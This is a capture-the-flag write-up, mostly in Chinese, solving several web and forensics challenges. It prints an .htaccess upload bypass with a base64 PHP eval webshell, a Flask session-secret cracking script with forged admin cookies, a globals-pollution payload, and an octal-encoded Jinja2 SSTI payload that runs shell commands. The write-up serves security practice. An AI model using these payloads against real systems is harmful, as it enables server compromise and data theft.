SQLUP
题目描述:a website developed by a novice developer.
开题,是个登录界面。
账号admin
,随便什么密码都能登录
点击头像可以进行文件上传
先简单上传个木马试试
测一下,发现文件后缀不可以带p,直接传木马无法解析。选择用.htaccess
文件进行利用
前提:Apache的httpd.conf中AllowOverride=All
特征:如果服务器是黑名单检测的话,通常会禁用php等脚本文件,不一定会禁用.htaccess文件.
绕过方式:先上传.htaccess文件,再上传一个文件名符合.htaccess特定代码的jpg文件,服务器会将jpg文件当做php文件来解析执行。
内容格式:
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
也可以是:
AddType application/x-httpd-php.png
还可以是:(自动base64解码后包含) //Polar 上传
AddType application/x-httpd-php .png
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.png"
如果过滤lfile,用 \空格换行 绕过
有文件头要求的需要进行base补位 //古剑山2023-upload
AddType application/x-httpd-php .png
php_value auto_append_fi\
le "php://filter/convert.base64-decode/resource=shell.png"
-----------------------------------------------------------------------
原理:
.htaccess nginx.htaccess(apache和nginx的配置文件,可修改php解释器的各项功能)可覆盖php.ini里面的内容(php.ini是最大的配置文件)
虚拟主机时代 一个物理服务器,里面可能存放几十上百个网站 每个网站,一个目录
A 网站 需要这样的php.ini配置
B 网站 却需要那样的php.ini配置
C 网站 又需要另外的php.ini配置
但是总的php.ini不动,A B C 3个网站分别在自己目录定义自己的配置,作用域也仅限于自己目录
所以自定义配置文件 .htaccess nginx.htaccess
自动base64解码1.gif
后包含
AddType application/x-httpd-php .gif
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.gif"
1.gif
内容:
PD9waHAgZWNobyAiSmF5MTciO2V2YWwoJF9QT1NUWzFdKTs/Pg== #<?php echo "Jay17";eval($_POST[1]);?>
再上传个shell.gif
,自动包含1.gif
内容
getshell
flag{29899671-82e8-41cf-80ee-4b27515bef95}
CandyShop
题目描述:小明成为了CandyShop的店员,老板要求他卖出500个糖果,但是每个人只能买10个,小明不知道怎么办了,你能帮帮他吗?
拿下三血~
附件下载源码:
import datetime
from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, make_response
from wtforms import StringField, PasswordField, SubmitField
from wtforms.validators import DataRequired, Length
from flask_wtf import FlaskForm
import re
app = Flask(__name__)
app.config['SECRET_KEY'] = 'xxxxxxx'
class RegistrationForm(FlaskForm):
username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
submit = SubmitField('Register')
class LoginForm(FlaskForm):
username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
submit = SubmitField('Login')
class Candy:
def __init__(self, name, image):
self.name = name
self.image = image
class User:
def __init__(self, username, password):
self.username = username
self.password = password
def verify_password(self, username, password):
return (self.username == username) & (self.password == password)
class Admin:
def __init__(self):
self.username = ""
self.identity = ""
def sanitize_inventory_sold(value):
return re.sub(r'[a-zA-Z_]', '', str(value))
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
candies = [Candy(name="Lollipop", image="images/candy1.jpg"),
Candy(name="Chocolate Bar", image="images/candy2.jpg"),
Candy(name="Gummy Bears", image="images/candy3.jpg")
]
users = []
admin_user = []
@app.route('/register', methods=['GET', 'POST'])
def register():
form = RegistrationForm()
if form.validate_on_submit():
user = User(username=form.username.data, password=form.password.data)
users.append(user)
return redirect(url_for('login'))
return render_template('register.html', form=form)
@app.route('/login', methods=['GET', 'POST'])
def login():
form = LoginForm()
if form.validate_on_submit():
for u in users:
if u.verify_password(form.username.data, form.password.data):
session['username'] = form.username.data
session['identity'] = "guest"
return redirect(url_for('home'))
return render_template('login.html', form=form)
inventory = 500
sold = 0
@app.route('/home', methods=['GET', 'POST'])
def home():
global inventory, sold
message = None
username = session.get('username')
identity = session.get('identity')
if not username:
return redirect(url_for('register'))
if sold >= 10 and sold < 500:
sold = 0
inventory = 500
message = "But you have bought too many candies!"
return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)
if request.method == 'POST':
action = request.form.get('action')
if action == "buy_candy":
if inventory > 0:
inventory -= 3
sold += 3
if inventory == 0:
message = "All candies are sold out!"
if sold >= 500:
with open('secret.txt', 'r') as file:
message = file.read()
return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)
@app.route('/admin', methods=['GET', 'POST'])
def admin():
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
admin = Admin()
merge(session, admin)
admin_user.append(admin)
return render_template('admin.html', view='index')
@app.route('/admin/view_candies', methods=['GET', 'POST'])
def view_candies():
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
return render_template('admin.html', view='candies', candies=candies)
@app.route('/admin/add_candy', methods=['GET', 'POST'])
def add_candy():
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
candy_name = request.form.get('name')
candy_image = request.form.get('image')
if candy_name and candy_image:
new_candy = Candy(name=candy_name, image=candy_image)
candies.append(new_candy)
return render_template('admin.html', view='add_candy')
@app.route('/admin/view_inventory', methods=['GET', 'POST'])
def view_inventory():
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
inventory_value = sanitize_inventory_sold(inventory)
sold_value = sanitize_inventory_sold(sold)
return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)
@app.route('/admin/add_inventory', methods=['GET', 'POST'])
def add_inventory():
global inventory
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
if request.form.get('add'):
num = request.form.get('add')
inventory += int(num)
return render_template('admin.html', view='add_inventory')
@app.route('/')
def index():
return render_template('index.html')
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=1337)
首先可以看到部分路由需要admin
身份访问,同时有flask session,密钥是7位。
开题,注册登陆Jay17
/111111
拿到session
eyJjc3JmX3Rva2VuIjoiZjA1YjlmY2FkMjczNzcyNDFhYjY1ZWZhZGY2YmYzOWE2NWY5YzcxNSIsImlkZW50aXR5IjoiZ3Vlc3QiLCJ1c2VybmFtZSI6IkpheTE3In0.Zt00Pw.GxBaXRtuaBeDFi8npGhKn2J1-cc
起手session爆破密钥。密钥是a123456
import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import sys
path = "../my_wordlist.txt"
print("Generating wordlist... ")
#如果wordlist.txt为自定义字典,注释掉下面三行
# with open(path,"w") as f:
# #permutations with repetition
# [f.write(''+"".join(x)+''+"\n") for x in itertools.product('0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPLKJHGFDSAZXCVBNM', repeat=4)] #加上前缀
#url = "http://47.115.201.35:8000/index"
#cookie_tamper = r.head(url).cookies.get_dict()['session']
cookie_tamper='eyJjc3JmX3Rva2VuIjoiZjA1YjlmY2FkMjczNzcyNDFhYjY1ZWZhZGY2YmYzOWE2NWY5YzcxNSIsImlkZW50aXR5IjoiZ3Vlc3QiLCJ1c2VybmFtZSI6IkpheTE3In0.Zt00Pw.GxBaXRtuaBeDFi8npGhKn2J1-cc'
print("Got cookie: " + cookie_tamper)
print("Cracker Started...")
obj = flask_unsign.Cracker(value=cookie_tamper)
before = time.time()
with wordlist(path, parse_lines=False) as iterator:
obj.crack(iterator)
secret = ""
if obj.secret:
secret =obj.secret.decode()
print(f"Found SECRET_KET ~{secret}~ in {time.time()-before} seconds")
signer = flask_unsign.sign({"time":time.time(),"authorized":True},secret=secret)
解密session:flask-unsign --decode --cookie '获得的session'
flask-unsign --decode --cookie 'eyJjc3JmX3Rva2VuIjoiZjA1YjlmY2FkMjczNzcyNDFhYjY1ZWZhZGY2YmYzOWE2NWY5YzcxNSIsImlkZW50aXR5IjoiZ3Vlc3QiLCJ1c2VybmFtZSI6IkpheTE3In0.Zt00Pw.GxBaXRtuaBeDFi8npGhKn2J1-cc'
加密session:flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
flask-unsign --sign --cookie "{'csrf_token': 'f05b9fcad27377241ab65efadf6bf39a65f9c715', 'identity': 'admin', 'username': 'Jay17'}" --secret 'a123456'
eyJjc3JmX3Rva2VuIjoiZjA1YjlmY2FkMjczNzcyNDFhYjY1ZWZhZGY2YmYzOWE2NWY5YzcxNSIsImlkZW50aXR5IjoiYWRtaW4iLCJ1c2VybmFtZSI6IkpheTE3In0.Zt00yA.ArWLgtc-_3I92l3qPfUvGCSaUXE
成功获取admin权限
解锁所有功能后,接下来就是思考如何把糖果变到500。
发现/admin
路由下有原型链污染
我们直接污染全局变量sold
修改糖果数量
{
'__init__':{
'__globals__':{
'sold':501
}
}
}
session加密一下
flask-unsign --sign --cookie "{'csrf_token': 'f05b9fcad27377241ab65efadf6bf39a65f9c715', 'identity': 'admin', 'username': 'Jay17','__init__':{'__globals__':{'sold':501}}}" --secret 'a123456'
.eJwly00KwyAQhuG7zLqLmFRFj9BLyPgzQWJGiHYRgnev0N33PvA9ENpFrtcjMVigRXpDAeOqN63Xt0CvZCKMpDxtBpUkE7SQ8IIcE_fc7_nCeGae9G3pYjzTpA_eQk9yLnPuzoF95t5L9VjaP1stEaxcxBjjB033KyA.Zt02hQ.JK2FDR4eKopf7rJigxJ0GD-Dd94
替换session后访问/admin
路由触发原型链污染。
访问/admin/view_inventory
路由发现污染成功,手上的糖果已经过500了
回到/home
路由再买一下,获得secret.txt
的文件内容
/tmp/xxxx/xxx/xxxx/flag
但是不可以直接读取,尝试过添加糖果为这个位置 或者 切换指定static静态目录到/tmp
,都不行。
细细读下源码,发现一般的模板渲染都是安全的render_template()
,唯有/admin/view_inventory
路由下是render_template_string()
,存在SSTI。
那么说我们污染inventory
或者sold
为SSTIpayload即可,后续发现只能污染inventory
,sold
污染了会报错,咱为查明原因。存在限制是re.sub(r'[a-zA-Z_]', '', str(value))
,用八进制绕过。
进行一下SSTI简单测试,无误:
flask-unsign --sign --cookie "{'csrf_token': 'f05b9fcad27377241ab65efadf6bf39a65f9c715', 'identity': 'admin', 'username': 'Jay17','__init__':{'__globals__':{'inventory':'{{7*7}}'}}}" --secret 'a123456'
那么接下来就是SSTI读取文件了
原始payload:
{{''.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
转八进制
.__class__转为['XXXXXX']
[0]不动
()不动
['eval']转为['XXXXXX']
('__import__("os").popen("【RCE】").read()')转为('XXXXXX')
payload:(单引号和斜杠转义一下)
{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'][0][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[133][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137\'][\'\\145\\166\\141\\154\'](\'\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042
RCE的八进制
\\042\\051\\056\\162\\145\\141\\144\\050\\051\')}}
命令如下:
find /tmp -name flag
tac /tmp/c05cac2af98893714d14d6107237f915/cbd2c352aaf912c8db7eabf2a9c71aa2/47ea5fa69ceb675b7023a3ff6b110012/flag
{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'][0][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[133][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137\'][\'\\145\\166\\141\\154\'](\'\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042
RCE的八进制
\\042\\051\\056\\162\\145\\141\\144\\050\\051\')}}
最终payload:
flask-unsign --sign --cookie "{'csrf_token': 'f05b9fcad27377241ab65efadf6bf39a65f9c715', 'identity': 'admin', 'username': 'Jay17','__init__':{'__globals__':{'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'][0][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[133][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137\'][\'\\145\\166\\141\\154\'](\'\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042\\164\\141\\143\\040\\057\\164\\155\\160\\057\\143\\060\\065\\143\\141\\143\\062\\141\\146\\071\\070\\070\\071\\063\\067\\061\\064\\144\\061\\064\\144\\066\\061\\060\\067\\062\\063\\067\\146\\071\\061\\065\\057\\143\\142\\144\\062\\143\\063\\065\\062\\141\\141\\146\\071\\061\\062\\143\\070\\144\\142\\067\\145\\141\\142\\146\\062\\141\\071\\143\\067\\061\\141\\141\\062\\057\\064\\067\\145\\141\\065\\146\\141\\066\\071\\143\\145\\142\\066\\067\\065\\142\\067\\060\\062\\063\\141\\063\\146\\146\\066\\142\\061\\061\\060\\060\\061\\062\\057\\146\\154\\141\\147\\042\\051\\056\\162\\145\\141\\144\\050\\051\')}}'}}}" --secret 'a123456'
BrickGame
题目描述:通关小游戏即可获得flag。
直接玩小游戏就可以了,60秒找相同的卡牌,玩了一会儿,第三关稍微要集中注意。
漏洞探踪,流量解密
题目描述:网站遭遇异常攻击,通过日志与流量锁定攻击来源,阶段二的压缩包密码是攻击来源ip地址,比如127.0.0.1,对捕获的数据包进行解密,识别加密算法并还原flag。flag格式为flag:{xxxxx}
阶段一是流量文件和日志文件,题目提示密码是ip地址,打开看一下log文件发现地址,查找upload关键字,在192.168.30.234地址下发现成功上传了文件,根据题目提示成功解密第二阶段的压缩包,还是得到一个流量文件,打开过滤http流,追踪http一点点看发现有key文件,直接全部导出:
有密钥,猜测是rc4解密,把重复部分去掉,选择hex密钥格式,成功得到flag:
最安全的加密方式
题目描述:找到了一个最安全的加密方式,然后将自己的密码用这种方式加密起来,你能破解出来吗?
打开流量过滤http流,发现后门脚本qqq.php
大概看一下,两个关键密钥,脚本就是对传入的paylod进行拼接加密和二次利用,再向后发现一个rar,导出后发现需要密码,使用pass就可以解密,得到一堆字符串
发现第一行是f字母md5后的数据,猜测就是md5用脚本碰撞,每一行代表一个字母,脚本如下
import hashlib
flag = ["8fa14cdd754f91cc6554c9e71929cce7",
"2db95e8e1a9267b7a1188556b2013b33",
"0cc175b9c0f1b6a831c399e269772661",
"b2f5ff47436671b6e533d8dc3614845d",
"f95b70fdc3088560732a5ac135644506",
"b9ece18c950afbfa6b0fdbfa4ff731d3",
"2510c39011c5be704182423e3a695e91",
"e1671797c52e15f763380b45e841ec32",
"b14a7b8059d9c055954c92674ce60032",
"6f8f57715090da2632453988d9a1501b",
"cfcd208495d565ef66e7dff9f98764da",
"03c7c0ace395d80182db07ae2c30f034",
"e358efa489f58062f10dd7316b65649e",
"b14a7b8059d9c055954c92674ce60032",
"c81e728d9d4c2f636f067f89cc14862c",
"e1671797c52e15f763380b45e841ec32",
"4a8a08f09d37b73795649038408b5f33",
"4c614360da93c0a041b22e537de151eb",
"4b43b0aee35624cd95b910189b3dc231",
"e1671797c52e15f763380b45e841ec32",
"b14a7b8059d9c055954c92674ce60032",
"e1671797c52e15f763380b45e841ec32",
"8d9c307cb7f3c4a32822a51922d1ceaa",
"4a8a08f09d37b73795649038408b5f33",
"4b43b0aee35624cd95b910189b3dc231",
"57cec4137b614c87cb4e24a3d003a3e0",
"83878c91171338902e0fe0fb97a8c47a",
"e358efa489f58062f10dd7316b65649e",
"865c0c0b4ab0e063e5caa3387c1a8741",
"d95679752134a2d9eb61dbd7b91c4bcc",
"7b8b965ad4bca0e41ab51de7b31363a1",
"9033e0e305f247c0c3c80d0c7848c8b3",
"9033e0e305f247c0c3c80d0c7848c8b3",
"9033e0e305f247c0c3c80d0c7848c8b3",
"cbb184dd8e05c9709e5dcaedaa0495cf"
]
dic = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_!&{}'
for f in flag:
for a in dic:
if hashlib.md5(a.encode('utf-8')).hexdigest() == f:
print(a, end='')
break
得到flag :flag{The_m0st_2ecUre_eNcrYption!!!}